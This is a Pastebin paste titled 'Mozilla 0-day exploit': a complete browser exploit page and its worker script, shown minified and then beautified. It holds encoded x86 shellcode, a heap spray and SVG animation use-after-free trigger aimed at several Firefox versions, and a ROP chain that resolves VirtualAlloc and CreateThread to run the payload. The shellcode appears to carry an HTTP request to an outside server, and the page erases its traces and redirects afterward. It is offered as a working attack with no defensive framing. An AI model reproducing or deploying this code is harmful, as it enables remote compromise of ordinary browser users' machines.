stuppid_bot

Mozilla 0-day exploit

Nov 30th, 2016
1,154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.      
  2. <html>
  3.   <head>
  4.     <script>
  5.  
  6.   var thecode ='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002\ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190';
  7.  
  8.  
  9.     var worker = new Worker('cssbanner.js');
  10.  
  11.       worker.postMessage(thecode);
  12.  
  13.       var svgns = 'http://www.w3.org/2000/svg';
  14.       var heap80 = new Array(0x1000);
  15.       var heap100 = new Array(0x4000);
  16.       var block80 = new ArrayBuffer(0x80);
  17.       var block100 = new ArrayBuffer(0x100);
  18.       var sprayBase = undefined;
  19.       var arrBase = undefined;
  20.  
  21.       var animateX = undefined;
  22.       var containerA = undefined;
  23.  
  24.       var offset = 0x90;
  25.       if (/.*Firefox\/(4[7-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent))
  26.       {
  27.         offset = 0x88; // versions 47.0 or greater
  28.       }
  29.  
  30.       var $ = function(id) { return document.getElementById(id); }
  31.  
  32.       var exploit = function()
  33.       {
  34.         var u32 = new Uint32Array(block80)
  35.         u32[0x2] = arrBase - offset;
  36.         u32[0x8] = arrBase - offset;
  37.         u32[0xE] = arrBase - offset;
  38.  
  39.  
  40.         for(i = heap100.length/2; i < heap100.length; i++)
  41.         {
  42.           heap100[i] = block100.slice(0)
  43.         }
  44.  
  45.         for(i = 0; i < heap80.length/2; i++)
  46.         {
  47.           heap80[i] = block80.slice(0)
  48.         }
  49.  
  50.         animateX.setAttribute('begin', '59s')
  51.         animateX.setAttribute('begin', '58s')
  52.  
  53.         for(i = heap80.length/2; i < heap80.length; i++)
  54.         {
  55.           heap80[i] = block80.slice(0)
  56.         }
  57.  
  58.         for(i = heap100.length/2; i < heap100.length; i++)
  59.         {
  60.           heap100[i] = block100.slice(0)
  61.         }
  62.  
  63.         animateX.setAttribute('begin', '10s')
  64.         animateX.setAttribute('begin', '9s')
  65.         window.dump('PAUSING!!! YAYA');
  66.         containerA.pauseAnimations();
  67.     }
  68.  
  69.     worker.onmessage = function(e)
  70.     {
  71.         worker.onmessage = function(e)
  72.         {
  73.         window.setTimeout(function()
  74.           {
  75.             worker.terminate();
  76.  
  77.             document.body.innerHTML = '';
  78.             document.getElementsByTagName('head')[0].innerHTML = '';
  79.             document.body.setAttribute('onload', '')
  80.           }, 1000);
  81.         }
  82.  
  83.         arrBase = e.data;
  84.         exploit();
  85.     }
  86.  
  87.  
  88.     var idGenerator = function()
  89.     {
  90.       return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
  91.     }
  92.  
  93.  
  94.     var craftDOM = function()
  95.     {
  96.       containerA = document.createElementNS(svgns, 'svg')
  97.       var containerB = document.createElementNS(svgns, 'svg');
  98.  
  99.       animateX = document.createElementNS(svgns, 'animate')
  100.       var animateA = document.createElementNS(svgns, 'animate')
  101.       var animateB = document.createElementNS(svgns, 'animate')
  102.  
  103.       var animateC = document.createElementNS(svgns, 'animate')
  104.  
  105.       var idX = idGenerator();
  106.       var idA = idGenerator();
  107.       var idB = idGenerator();
  108.       var idC = idGenerator();
  109.  
  110.       animateX.setAttribute('id', idX);
  111.       animateA.setAttribute('id', idA);
  112.       animateA.setAttribute('end', '50s');
  113.       animateB.setAttribute('id', idB);
  114.       animateB.setAttribute('begin', '60s');
  115.       animateB.setAttribute('end', idC + '.end');
  116.       animateC.setAttribute('id', idC);
  117.       animateC.setAttribute('begin', '10s');
  118.       animateC.setAttribute('end', idA + '.end');
  119.  
  120.       containerA.appendChild(animateX)
  121.       containerA.appendChild(animateA)
  122.       containerA.appendChild(animateB)
  123.  
  124.       containerB.appendChild(animateC)
  125.  
  126.       document.body.appendChild(containerA);
  127.       document.body.appendChild(containerB);
  128.     }
  129.      window.onload = craftDOM;
  130.    //
  131.     </script>
  132.    
  133.     <style>
  134.         #mtdiv{
  135.             position: absolute;
  136.             width: 960px;
  137.             height: 166px;
  138.             z-index: 15;
  139.             top: 100px;
  140.             left: 50%;
  141.             margin: 0 0 0 -480px;
  142.         }
  143.     </style>    
  144.   </head>
  145.   <body bgcolor='#2F3236'>
  146.      
  147.       <div id='mtdiv'>
  148.           <img src='mt.png'/>
  149.       </div>      
  150.   </body>
  151.   <script>
  152.         setTimeout('window.location = \'member.php\';', 2000);
  153.  </script>
  154.  
  155. </html>      
  156.  
  157. ===================================================================================================
  158.  
  159. content of "cssbanner.js":
  160.  
  161. self.onmessage = function(msg) {
  162.  
  163.   thecode = msg.data;
  164.   var pack = function (b) { var a = b >> 16; return String.fromCharCode(b & 65535) + String.fromCharCode(a) };
  165.   function Memory(b,a,f){this._base_addr=b;this._read=a;this._write=f;this._abs_read=function(a){a>=this._base_addr?a=this._read(a-this._base_addr):(a=4294967295-this._base_addr+1+a,a=this._read(a));return 0>a?4294967295+a+1:a};this._abs_write=function(a,b){a>=this._base_addr?this._write(a-this._base_addr,b):(a=4294967295-this._base_addr+1+a,this._write(a,b))};this.readByte=function(a){return this.read(a)&255};this.readWord=function(a){return this.read(a)&65535};this.readDword=function(a){return this.read(a)};
  166.   this.read=function(a,b){if(a%4){var c=this._abs_read(a&4294967292),d=this._abs_read(a+4&4294967292),e=a%4;return c>>>8*e|d<<8*(4-e)}return this._abs_read(a)};this.readStr=function(a){for(var b="",c=0;;){if(32==c)return"";var d=this.readByte(a+c);if(0==d)break;b+=String.fromCharCode(d);c++}return b};this.write=function(a){}}
  167.   function PE(b,a){this.mem=b;this.export_table=this.module_base=void 0;this.export_table_size=0;this.import_table=void 0;this.import_table_size=0;this.find_module_base=function(a){for(a&=4294901760;a;){if(23117==this.mem.readWord(a))return this.module_base=a;a-=65536}};this._resolve_pe_structures=function(){peFile=this.module_base+this.mem.readWord(this.module_base+60);if(17744!=this.mem.readDword(peFile))throw"Bad NT Signature";this.pe_file=peFile;this.optional_header=this.pe_file+36;this.export_directory=
  168.   this.module_base+this.mem.readDword(this.pe_file+120);this.export_directory_size=this.mem.readDword(this.pe_file+124);this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);this.import_directory_size=this.mem.readDword(this.pe_file+132)};this.resolve_imported_function=function(a,b){void 0==this.import_directory&&this._resolve_pe_structures();for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);if(a.toUpperCase()==
  169.   d.toUpperCase()){for(var c=this.mem.readDword(e)+this.module_base,e=this.mem.readDword(e+16)+this.module_base,d=this.mem.readDword(c),f=0;0!=d;){if(this.mem.readStr(d+this.module_base+2).toUpperCase()==b.toUpperCase())return this.mem.readDword(e+4*f);f++;d=this.mem.readDword(c+4*f)}break}e+=20}return 0};void 0!=a&&this.find_module_base(a)}
  170.   function ROP(b,a){this.mem=b;this.pe=new PE(b,a);this.pe._resolve_pe_structures();this.module_base=this.pe.module_base+4096;this.findSequence=function(a){for(var b=0;;){for(var e=0,c=0;c<a.length;c++)if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)e++;else break;if(e==a.length)return this.module_base+b;b++}};this.findStackPivot=function(){return this.findSequence([148,195])};this.findPopRet=function(a){return this.findSequence([88,195])};this.ropChain=function(a,b,e,c){c=void 0!=c?c:new ArrayBuffer(4096);
  171.   c=new Uint32Array(c);var d=this.findStackPivot(),f=this.findPopRet("EAX"),g=this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");c[0]=f+1;c[1]=f;c[2]=a+b+4*e+4;c[3]=d;for(i=0;i<e;i++)c[(b>>2)+i]=d;d=(b+4>>2)+e;c[d++]=g;c[d++]=a+(b+4*e+28);c[d++]=a;c[d++]=4096;c[d++]=4096;c[d++]=64;c[d++]=3435973836;return c}}
  172.   var conv=new ArrayBuffer(8),convf64=new Float64Array(conv),convu32=new Uint32Array(conv),qword2Double=function(b,a){convu32[0]=b;convu32[1]=a;return convf64[0]},doubleFromFloat=function(b,a){convf64[0]=b;return convu32[a]},sprayArrays=function(){for(var b=Array(262138),a=0;262138>a;a++)b[a]=fzero;for(a=0;a<b.length;a+=512)b[a+1]=memory,b[a+21]=qword2Double(0,2),b[a+14]=qword2Double(arrBase+o1,0),b[a+(o1+8)/8]=qword2Double(arrBase+o2,0),b[a+(o2+0)/8]=qword2Double(2,0),b[a+(o2+8)/8]=qword2Double(arrBase+
  173.   o3,arrBase+13),b[a+(o3+0)/8]=qword2Double(16,0),b[a+(o3+24)/8]=qword2Double(2,0),b[a+(o3+32)/8]=qword2Double(arrBase+o5,arrBase+o4),b[a+(o4+0)/8]=qword2Double(0,arrBase+o6),b[a+(o5+0)/8]=qword2Double(arrBase+o7,0),b[a+(o6+8)/8]=qword2Double(2,0),b[a+(o7+8)/8]=qword2Double(arrBase+o7+16,0),b[a+(o7+16)/8]=qword2Double(0,4026531840),b[a+(o7+32)/8]=qword2Double(0,3220176896),b[a+(o7+48)/8]=qword2Double(2,0),b[a+(o7+56)/8]=qword2Double(1,0),b[a+(o7+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o7+112)/
  174.   8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+(o7+168)/8]=qword2Double(0,2),b[a+(o9+0)/8]=qword2Double(arrBase+o10,2),b[a+(o10+0)/8]=qword2Double(2,0),b[a+(o10+8)/8]=qword2Double(0,268435456),b[a+(o11+8)/8]=qword2Double(arrBase+o11+16,0),b[a+(o11+16)/8]=qword2Double(0,4026531840),b[a+(o11+32)/8]=qword2Double(0,3220176896),b[a+(o11+48)/8]=qword2Double(2,0),b[a+(o11+56)/8]=qword2Double(1,0),b[a+(o11+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o11+112)/8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+
  175.   (o11+168)/8]=qword2Double(0,2);for(a=0;a<spr.length;a++)spr[a]=b.slice(0)},vtable_offset=300;/.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?vtable_offset=304:/.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)&&(vtable_offset=308);
  176.   var spr=Array(400),arrBase=805306416,ropArrBuf=new ArrayBuffer(4096),o1=176,o2=256,o3=768,o4=832,o5=864,o6=928,o7=1024,o8=1280,o9=1344,o10=1376,o11=1536,oRop=1792,memory=new Uint32Array(16),len=memory.length,arr_index=0,arr_offset=0;fzero=qword2Double(0,0);0!=thecode.length%2&&(thecode+="\u9090");sprayArrays();postMessage(arrBase);
  177.   for(memarrayloc=void 0;void 0==memarrayloc;)for(i=0;i<spr.length;i++)for(offset=0;offset<spr[i].length;offset+=512)if("object"!=typeof spr[i][offset+1]){memarrayloc=doubleFromFloat(spr[i][offset+1],0);arr_index=i;arr_offset=offset;spr[i][offset+(o2+0)/8]=qword2Double(65,0);spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);for(j=0;33>j;j++)spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);spr[i][offset+(o3+8)/8]=qword2Double(0,0);spr[i][offset+(o5+0)/8]=qword2Double(arrBase+
  178.   o11,0);spr[i][offset+(o7+168)/8]=qword2Double(0,3);spr[i][offset+(o7+88)/8]=qword2Double(0,2);break}for(;memory.length==len;);var mem=new Memory(memarrayloc+48,function(b){return memory[b/4]},function(b,a){memory[b/4]=a}),xulPtr=mem.readDword(memarrayloc+12);spr[arr_index][arr_offset+1]=ropArrBuf;ropPtr=mem.readDword(arrBase+8);spr[arr_index][arr_offset+1]=null;ropBase=mem.readDword(ropPtr+16);var rop=new ROP(mem,xulPtr);rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
  179.   var backupESP=rop.findSequence([137,1,195]),ropChain=new Uint32Array(ropArrBuf);ropChain[0]=backupESP;CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);ropChain[i++]=3296825488;ropChain[i++]=2048;ropChain[i++]=1347469361;ropChain[i++]=1528949584;ropChain[i++]=3092271187;ropChain[i++]=CreateThread;ropChain[i++]=3096498431;ropChain[i++]=arrBase+16;ropChain[i++]=1955274891;ropChain[i++]=280697892;ropChain[i++]=704643071;
  180.   ropChain[i++]=2425406428;ropChain[i++]=4294957800;ropChain[i++]=2425393407;for(var j=0;j<thecode.length;j+=2)ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);spr[arr_index][arr_offset+3]=qword2Double(0,256);spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);postMessage("GREAT SUCCESS");
  181.  
  182. };
  183.  
  184.  
  185. Beautified:
  186.  
  187. self.onmessage =
  188. function(msg) {
  189.  
  190.   thecode = msg.data;
  191.   var pack = function (b) { var a = b >> 16; return String.fromCharCode(b & 65535) + String.fromCharCode(a) };
  192.  
  193.   function Memory(b,a,f)
  194.   {
  195.       this._base_addr=b;
  196.       this._read=a;
  197.       this._write=f;
  198.       this._abs_read = function(a) {
  199.           a >= this._base_addr ? a = this._read( a - this._base_addr) : ( a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
  200.           return 0>a?4294967295+a+1:a
  201.          
  202.       };
  203.       this._abs_write = function(a,b) {
  204.           a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a = 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
  205.       };
  206.       this.readByte = function(a) {
  207.           return this.read(a) & 255
  208.          
  209.       };
  210.       this.readWord = function(a) {
  211.           return this.read(a) & 65535
  212.       };
  213.       this.readDword = function(a){ return this.read(a) };
  214.       this.read = function(a,b) {
  215.           if (a%4) {
  216.               var c = this._abs_read( a & 4294967292),
  217.                   d = this._abs_read( a+4 & 4294967292),
  218.                   e = a%4;
  219.               return c>>>8*e | d<<8*(4-e)
  220.           }
  221.           return this._abs_read(a)
  222.       };
  223.       this.readStr = function(a) {
  224.           for(var b = "", c = 0;;) {
  225.               if (32 == c)
  226.                   return "";
  227.               var d = this.readByte(a+c);
  228.               if(0 == d)
  229.                   break;
  230.               b += String.fromCharCode(d);
  231.               c++
  232.           }
  233.           return b
  234.          
  235.       };
  236.       this.write = function(a){}
  237.   }
  238.   function PE(b,a) {
  239.       this.mem = b;
  240.       this.export_table = this.module_base = void 0;
  241.       this.export_table_size = 0;
  242.       this.import_table = void 0;
  243.       this.import_table_size = 0;
  244.       this.find_module_base = function(a) {
  245.           for(a &= 4294901760; a; ) {
  246.               if(23117 == this.mem.readWord(a))
  247.                   return this.module_base=a;
  248.               a -= 65536
  249.           }
  250.       };
  251.       this._resolve_pe_structures = function() {
  252.           peFile = this.module_base + this.mem.readWord(this.module_base+60);
  253.           if(17744 != this.mem.readDword(peFile))
  254.               throw"Bad NT Signature";
  255.           this.pe_file = peFile;
  256.           this.optional_header = this.pe_file+36;
  257.           this.export_directory = this.module_base+this.mem.readDword(this.pe_file+120);
  258.           this.export_directory_size = this.mem.readDword(this.pe_file+124);
  259.           this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
  260.           this.import_directory_size=this.mem.readDword(this.pe_file+132)};
  261.           this.resolve_imported_function=function(a,b){
  262.               void 0==this.import_directory&&this._resolve_pe_structures();
  263.               for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){
  264.                   var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
  265.                   if(a.toUpperCase()==d.toUpperCase()){
  266.                       for(var c = this.mem.readDword(e) + this.module_base,
  267.                               e = this.mem.readDword(e+16) + this.module_base,
  268.                               d = this.mem.readDword(c),
  269.                               f = 0 ; 0 !=d ;)
  270.                       {
  271.                           if(this.mem.readStr(d+this.module_base+2).toUpperCase() == b.toUpperCase())
  272.                               return this.mem.readDword(e+4*f);
  273.                           f++;
  274.                           d = this.mem.readDword(c+4*f)
  275.                       }
  276.                       break
  277.                   }
  278.                   e+=20
  279.               }
  280.               return 0
  281.           };
  282.           void 0!=a && this.find_module_base(a)
  283.       }
  284.       function ROP(b,a){
  285.          this.mem = b;
  286.          this.pe = new PE(b,a);
  287.          this.pe._resolve_pe_structures();
  288.          this.module_base = this.pe.module_base+4096;
  289.          this.findSequence = function(a) {
  290.             for(var b=0;;) {
  291.                 for(var e=0,c=0;c<a.length;c++)
  292.                     if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)
  293.                         e++;
  294.                     else
  295.                         break;
  296.                 if(e==a.length)
  297.                     return this.module_base+b;
  298.                 b++
  299.              
  300.          }
  301.          
  302.      };
  303.      this.findStackPivot=function() {
  304.          return this.findSequence([148,195])
  305.        
  306.      };
  307.      this.findPopRet=function(a) {
  308.          return this.findSequence([88,195])
  309.        
  310.      };
  311.      this.ropChain=function(a,b,e,c) {
  312.          c = void 0 != c ? c : new ArrayBuffer(4096);
  313.          c = new Uint32Array(c);
  314.          var d = this.findStackPivot(),
  315.              f = this.findPopRet("EAX"),
  316.              g = this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
  317.          c[0]= f+1;
  318.          c[1]= f;
  319.          c[2]= a+b+4*e+4;
  320.          c[3]= d;
  321.          for(i=0;i<e;i++)
  322.              c[(b>>2)+i] = d;
  323.          d =(b+4>>2)+e;
  324.          c[d++]=g;
  325.          c[d++]=a+(b+4*e+28);
  326.          c[d++]=a;
  327.          c[d++]=4096;
  328.          c[d++]=4096;
  329.          c[d++]=64;
  330.          c[d++]=3435973836;
  331.          return c
  332.      }
  333.   }
  334.   var conv=new ArrayBuffer(8),
  335.       convf64=new Float64Array(conv),
  336.       convu32=new Uint32Array(conv),
  337.       qword2Double=function(b,a) {
  338.           convu32[0]=b;
  339.           convu32[1]=a;
  340.           return convf64[0]
  341.       },
  342.       doubleFromFloat = function(b,a) {
  343.           convf64[0]=b;
  344.           return convu32[a]
  345.          
  346.       },
  347.       sprayArrays=function() {
  348.           for(var b=Array(262138),a=0;262138>a;a++)
  349.               b[a]=fzero;
  350.           for(a=0;a<b.length;a+=512)
  351.               b[a+1] = memory,
  352.               b[a+21] = qword2Double(0,2),
  353.               b[a+14] = qword2Double(arrBase+o1,0),
  354.               b[a+(o1+8)/8] = qword2Double(arrBase+o2,0),
  355.               b[a+(o2+0)/8] = qword2Double(2,0),
  356.               b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13),
  357.               b[a+(o3+0)/8] = qword2Double(16,0),
  358.               b[a+(o3+24)/8] = qword2Double(2,0),
  359.               b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4),
  360.               b[a+(o4+0)/8] = qword2Double(0,arrBase+o6),
  361.               b[a+(o5+0)/8] = qword2Double(arrBase+o7,0),
  362.               b[a+(o6+8)/8] = qword2Double(2,0),
  363.               b[a+(o7+8)/8] = qword2Double(arrBase+o7+16,0),
  364.               b[a+(o7+16)/8] = qword2Double(0,4026531840),
  365.               b[a+(o7+32)/8] = qword2Double(0,3220176896),
  366.               b[a+(o7+48)/8] = qword2Double(2,0),
  367.               b[a+(o7+56)/8] = qword2Double(1,0),
  368.               b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
  369.               b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
  370.               b[a+(o7+168)/8] = qword2Double(0,2),
  371.               b[a+(o9+0)/8] = qword2Double(arrBase+o10,2),
  372.               b[a+(o10+0)/8] = qword2Double(2,0),
  373.               b[a+(o10+8)/8] = qword2Double(0,268435456),
  374.               b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0),
  375.               b[a+(o11+16)/8] = qword2Double(0,4026531840),
  376.               b[a+(o11+32)/8] = qword2Double(0,3220176896),
  377.               b[a+(o11+48)/8] = qword2Double(2,0),
  378.               b[a+(o11+56)/8] = qword2Double(1,0),
  379.               b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
  380.               b[a+(o11+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
  381.               b[a+(o11+168)/8] = qword2Double(0,2);
  382.           for(a=0;a<spr.length;a++)
  383.               spr[a]=b.slice(0)
  384.       }, vtable_offset=300;
  385.       /.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)? vtable_offset=304 :
  386.       /.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent) && (vtable_offset=308);
  387.       var spr=Array(400),
  388.       arrBase=805306416,
  389.       ropArrBuf=new ArrayBuffer(4096),
  390.       o1=176,
  391.       o2=256,
  392.       o3=768,
  393.       o4=832,
  394.       o5=864,
  395.       o6=928,
  396.       o7=1024,
  397.       o8=1280,
  398.       o9=1344,
  399.       o10=1376,
  400.       o11=1536,
  401.       oRop=1792,
  402.       memory=new Uint32Array(16),
  403.       len=memory.length,
  404.       arr_index=0,
  405.       arr_offset=0;
  406.       fzero=qword2Double(0,0);
  407.       0!=thecode.length%2&&(thecode+="\u9090");
  408.       sprayArrays();
  409.       postMessage(arrBase);
  410.       for(memarrayloc=void 0;void 0==memarrayloc;)
  411.           for(i=0;i<spr.length;i++)
  412.               for(offset=0;offset<spr[i].length;offset+=512)
  413.                  if("object" != typeof spr[i][offset+1]) {
  414.                      memarrayloc=doubleFromFloat(spr[i][offset+1],0);
  415.                      arr_index=i;
  416.                      arr_offset=offset;
  417.                      spr[i][offset+(o2+0)/8]=qword2Double(65,0);
  418.                      spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);
  419.                      for(j=0;33>j;j++)
  420.                          spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);
  421.                      spr[i][offset+(o3+8)/8]=qword2Double(0,0);
  422.                      spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0);
  423.                      spr[i][offset+(o7+168)/8]=qword2Double(0,3);
  424.                      spr[i][offset+(o7+88)/8]=qword2Double(0,2);
  425.                      break
  426.                  }
  427.       for(;memory.length==len;);
  428.       var mem=new Memory(memarrayloc+48,
  429.                          function(b){return memory[b/4]},
  430.                          function(b,a){memory[b/4]=a}),
  431.           xulPtr=mem.readDword(memarrayloc+12);
  432.       spr[arr_index][arr_offset+1]=ropArrBuf;
  433.       ropPtr=mem.readDword(arrBase+8);
  434.       spr[arr_index][arr_offset+1]=null;
  435.       ropBase=mem.readDword(ropPtr+16);
  436.       var rop=new ROP(mem,xulPtr);
  437.       rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
  438.       var backupESP=rop.findSequence([137,1,195]), ropChain=new Uint32Array(ropArrBuf);
  439.       ropChain[0]=backupESP;
  440.       CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");
  441.       for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);
  442.       ropChain[i++]=3296825488;
  443.       ropChain[i++]=2048;
  444.       ropChain[i++]=1347469361;
  445.       ropChain[i++]=1528949584;
  446.       ropChain[i++]=3092271187;
  447.       ropChain[i++]=CreateThread;
  448.       ropChain[i++]=3096498431;
  449.       ropChain[i++]=arrBase+16;
  450.       ropChain[i++]=1955274891;
  451.       ropChain[i++]=280697892;
  452.       ropChain[i++]=704643071;
  453.       ropChain[i++]=2425406428;
  454.       ropChain[i++]=4294957800;
  455.       ropChain[i++]=2425393407;
  456.       for (var j=0;j<thecode.length;j+=2)
  457.           ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);
  458.       spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);
  459.       spr[arr_index][arr_offset+3]=qword2Double(0,256);
  460.       spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);
  461.       spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);
  462.       spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);
  463.       postMessage("GREAT SUCCESS");
  464. };
Add Comment
Please, Sign In to add comment